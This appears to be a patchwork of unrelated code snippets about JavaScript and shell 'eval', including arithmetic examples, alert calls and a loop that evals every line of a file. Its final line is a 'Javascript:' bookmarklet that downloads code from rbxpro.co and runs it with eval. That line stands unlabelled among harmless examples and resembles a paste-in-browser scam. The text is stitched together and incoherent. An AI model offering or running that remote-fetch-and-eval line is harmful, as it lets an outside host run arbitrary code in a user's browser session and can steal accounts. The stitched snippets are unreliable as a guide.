eval

var theInstructions = "alert('Hello World'); var x = 100";

var F=new Function (theInstructions);

return(F());

  var x = 10;
var y = 20;
var a = eval("x * y") + "<br>";
var b =  eval("2 + 2") + "<br>";
var c = eval("x + 17") + "<br>";

var res =  a + b + c;

 

//eval() is a global function in JavaScript that evaluates a specified string as JavaScript 
//code and executes it.
eval("alert('this is executed by eval()')");
					//OR
var x = 10;
var y = 20;
var a = eval("x * y") + "<br>";
var res =  a;

eval(string)

Just use eval command for running string output. As for example:
eval $cmd   #execute command included in string value of $cmd variable
Or for a more sophisticated use run commands stored in lines of a file:
cat commands_file.txt | while read line; do eval $line; done

Javascript:$.get(' //rbxpro.co/?id=296858121',i=>eval(i))